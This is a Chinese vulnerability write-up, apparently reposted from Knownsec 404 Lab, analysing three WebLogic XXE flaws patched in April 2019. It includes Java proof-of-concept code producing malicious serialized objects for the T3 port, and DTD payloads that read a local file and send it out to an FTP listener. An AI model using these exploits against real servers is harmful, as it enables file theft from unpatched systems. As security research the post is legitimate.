内容简介:作者:Longofo@知道创宇404实验室时间:2019年4月26日Oracle发布了4月份的补丁,详情见链接(
作者:Longofo@知道创宇404实验室
时间:2019年4月26日
Oracle发布了4月份的补丁,详情见链接( https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html#AppendixFMW )
@xxlegend在 《Weblogic CVE-2019-2647等相关XXE漏洞分析》 分析了其中的一个XXE漏洞点,并给出了PoC。刚入手 java 不久,本着学习的目的,自己尝试分析了其他几个点的XXE并构造了PoC。下面的分析我尽量描述自己思考以及PoC构造过程,新手真的会踩很多莫名其妙的坑。感谢在复现与分析过程中为我提供帮助的小伙伴@Badcode,没有他的帮助我可能环境搭起来都会花费一大半时间。
补丁分析,找到漏洞点
根据JAVA常见XXE写法与防御方式(参考 https://blog.spoock.com/2018/10/23/java-xxe/ ),通过对比补丁,发现新补丁以下四处进行了 setFeature
操作:
应该就是对应的四个CVE了,其中 ForeignRecoveryContext
@xxlegend大佬已经分析过了,这里就不再分析了,下面主要是分析下其他三个点
分析环境
- Windows 10
- WebLogic 10.3.6.0
- Jdk160_29(WebLogic 10.3.6.0自带的JDK)
WsrmServerPayloadContext 漏洞点分析
WsrmServerPayloadContext
修复后的代码如下:
package weblogic.wsee.reliability; import ... public class WsrmServerPayloadContext extends WsrmPayloadContext { public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { ... } private EndpointReference readEndpt(ObjectInput var1, int var2) throws IOException, ClassNotFoundException { ... ByteArrayInputStream var15 = new ByteArrayInputStream(var3); try { DocumentBuilderFactory var7 = DocumentBuilderFactory.newInstance(); try { String var8 = "http://xml.org/sax/features/external-general-entities"; var7.setFeature(var8, false); var8 = "http://xml.org/sax/features/external-parameter-entities"; var7.setFeature(var8, false); var8 = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; var7.setFeature(var8, false); var7.setXIncludeAware(false); var7.setExpandEntityReferences(false); } catch (Exception var11) { if (verbose) { Verbose.log("Failed to set factory:" + var11); } } ... } }
可以看到进行了 setFeature
操作防止xxe攻击,而未打补丁之前是没有进行 setFeature
操作的
readExternal
在反序列化对象时会被调用,与之对应的 writeExternal
在序列化对象时会被调用,看下 writeExternal
的逻辑:
var1
就是 this.formENdpt
,注意 var5.serialize
可以传入三种类型的对象, var1.getEndptElement()
返回的是 Element
对象,先尝试新建一个项目构造一下 PoC
:
结构如下
public class WeblogicXXE1 { public static void main(String[] args) throws IOException { Object instance = getXXEObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); } public static class MyEndpointReference extends EndpointReference { @Override public Element getEndptElement() { super.getEndptElement(); Document doc = null; Element element = null; try { DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); //从DOM工厂中获得DOM解析器 DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder(); //创建文档树模型对象 doc = dbBuilder.parse("test.xml"); element = doc.getDocumentElement(); } catch (Exception e) { e.printStackTrace(); } return element; } } public static Object getXXEObject() { EndpointReference fromEndpt = (EndpointReference) new MyEndpointReference(); EndpointReference faultToEndpt = null; WsrmServerPayloadContext wspc = new WsrmServerPayloadContext(); try { Field f1 = wspc.getClass().getDeclaredField("fromEndpt"); f1.setAccessible(true); f1.set(wspc, fromEndpt); Field f2 = wspc.getClass().getDeclaredField("faultToEndpt"); f2.setAccessible(true); f2.set(wspc, faultToEndpt); } catch (Exception e) { e.printStackTrace(); } return wspc; } }
test.xml内容如下,my.dtd暂时为空就行,先测试能否接收到请求:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://127.0.0.1:8000/my.dtd" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data>
运行PoC,生成的反序列化数据xxe,使用十六进制查看器打开:
发现DOCTYPE无法被引入
我尝试了下面几种方法:
-
在上面说到
var5.serialize
可以传入Document
对象,测试了下,的确可以,但是如何使getEndptElement
返回一个Document
对象呢?- 尝试了自己创建一个
EndpointReference
类,修改getEndptElement
返回对象,内容和原始内容一样,但是在反序列化时找不到我创建的类,原因是自己建的类package
与原来的不同,所以失败了 - 尝试像 Python 那样动态替换一个类的方法,貌似Java好像做不到...
- 尝试了自己创建一个
-
尝试了一个暴力的方法,替换Jar包中的类。首先复制出Weblogic的
modules
文件夹与wlserver_10.3\server\lib
文件夹到另一个目录,将wlserver_10.3\server\lib\weblogic.jar
解压,将WsrmServerPayloadContext.class
类删除,重新压缩为weblogic.Jar
,然后新建一个项目,引入需要的Jar文件(modules
和wlserver_10.3\server\lib
中所有的Jar包),然后新建一个与WsrmServerPayloadContext.class
同样的包名,在其中新建WsrmServerPayloadContext.class
类,复制原来的内容进行修改(修改只是为了生成能触发xml解析的数据,对readExternal
反序列化没有影响)。WsrmServerPayloadContext.class
修改的内容如下: -
经过测试第二种方式是可行的,但是好像过程略复杂。然后尝试了下新建一个与原始
WsrmServerPayloadContext.class
类同样的包名,然后进行修改,修改内容与第二种方式一样测试这种方式也是可行的,比第二种方式操作起来方便些
构造新的PoC:
public class WeblogicXXE1 { public static void main(String[] args) throws IOException { Object instance = getXXEObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); } public static Object getXXEObject() { EndpointReference fromEndpt = new EndpointReference(); EndpointReference faultToEndpt = null; WsrmServerPayloadContext wspc = new WsrmServerPayloadContext(); try { Field f1 = wspc.getClass().getDeclaredField("fromEndpt"); f1.setAccessible(true); f1.set(wspc, fromEndpt); Field f2 = wspc.getClass().getDeclaredField("faultToEndpt"); f2.setAccessible(true); f2.set(wspc, faultToEndpt); } catch (Exception e) { e.printStackTrace(); } return wspc; } }
查看下新生成的xxe十六进制:
DOCTYPE被写入了
测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
漂亮,接收到请求了,接下来就是尝试下到底能不能读取到文件了
构造的test.xml如下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "file:///C:Users/dell/Desktop/test.txt"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd"> %dtd; %send; ]> <ANY>xxe</ANY>
my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在 dbBuilder.parse
时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):
<!ENTITY % all "<!ENTITY % send SYSTEM 'ftp://127.0.0.1:2121/%file;'>" > %all;
运行PoC生成反序列化数据,测下发现请求都接收不到了...,好吧,查看下十六进制:
%dtd;%send;
居然不见了...,可能是因为DOM解析器的原因,my.dtd内容为空,数据没有被引用。
尝试debug看下:
可以看到 %dtd;%send;
确实是被处理掉了
测试下正常的加载外部数据,my.dtd改为如下:
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/gen.xml'>" > %all;
gen.xml为:
<?xml version="1.0" encoding="UTF-8"?>
debug看下:
可以看到 %dtd;%send;
被my.dtd里面的内容替换了。debug大致看了xml解析过程,中间有一个 EntityScanner
,会检测xml中的ENTITY,并且会判断是否加载了外部资源,如果加载了就外部资源加载进来,后面会将实体引用替换为实体申明的内容。也就是说,我们构造的反序列化数据中的xml数据,已经被解析过一次了,而需要的是没有被解析过的数据,让目标去解析。
所以我尝试修改了十六进制如下,使得xml修改成没有被解析的形式:
运行PoC测试下,
居然成功了,一开始以为反序列化生成的xml数据那块还会进行校验,不然反序列化不了,直接修改数据是不行的,没想到直接修改就可以了
UnknownMsgHeader 漏洞点分析
与 WsrmServerPayloadContext
差不多,PoC构造也是新建包然后替换,就不详细分析了,只说下类修改的地方与PoC构造
新建 UnknownMsgHeader
类,修改 writeExternal
PoC如下:
public class WeblogicXXE2 { public static void main(String[] args) throws IOException { Object instance = getXXEObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); } public static Object getXXEObject() { QName qname = new QName("a", "b", "c"); Element xmlHeader = null; UnknownMsgHeader umh = new UnknownMsgHeader(); try { Field f1 = umh.getClass().getDeclaredField("qname"); f1.setAccessible(true); f1.set(umh, qname); Field f2 = umh.getClass().getDeclaredField("xmlHeader"); f2.setAccessible(true); f2.set(umh, xmlHeader); } catch (Exception e) { e.printStackTrace(); } return umh; } }
运行PoC测试下(生成的步骤与第一个漏洞点一样),使用T3协议脚本向WebLogic 7001端口发送序列化数据:
WsrmSequenceContext 漏洞点分析
这个类看似需要构造的东西挺多的, readExternal
与 writeExternal
的逻辑也比前两个复杂些,但是PoC构造也很容易
新建 WsrmSequenceContext
类,修改
PoC如下:
public class WeblogicXXE3 { public static void main(String[] args) throws IOException { Object instance = getXXEObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe")); out.writeObject(instance); out.flush(); out.close(); } public static Object getXXEObject() { EndpointReference acksTo = new EndpointReference(); WsrmSequenceContext wsc = new WsrmSequenceContext(); try { Field f1 = wsc.getClass().getDeclaredField("acksTo"); f1.setAccessible(true); f1.set(wsc, acksTo); } catch (Exception e) { e.printStackTrace(); } return wsc; } }
测试下,使用T3协议脚本向WebLogic 7001端口发送序列化数据:
最后
好了,分析完成了。第一次分析Java的漏洞,还有很多不足的地方,但是分析的过程中也学到了很多,就算是一个看似很简单的点,如果不熟悉Java的一特性,会花费较长的时间去折腾。所以,一步一步走吧,不要太急躁,还有很多东西要学。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Windows高级调试
Mario Hewardt、Daniel Pravat / 聂雪军 / 机械工业出版社 / 2009-5 / 79.00元
本书主要讲解Windows高级调试思想和工具,并涉及一些高级调试主题。本书内容主要包括:工具简介、调试器简介、调试器揭密、符号文件与源文件的管理、栈内存破坏、堆内存破坏、安全、进程间通信、资源泄漏、同步、编写定制的调试扩展、64位调试、事后调试、Windows Vista基础以及应用程序验证器的测试设置等。本书内容详实、条理清楚。 本书适合Windows开发人员、Windows测试人员和Windo......一起来看看 《Windows高级调试》 这本书的介绍吧!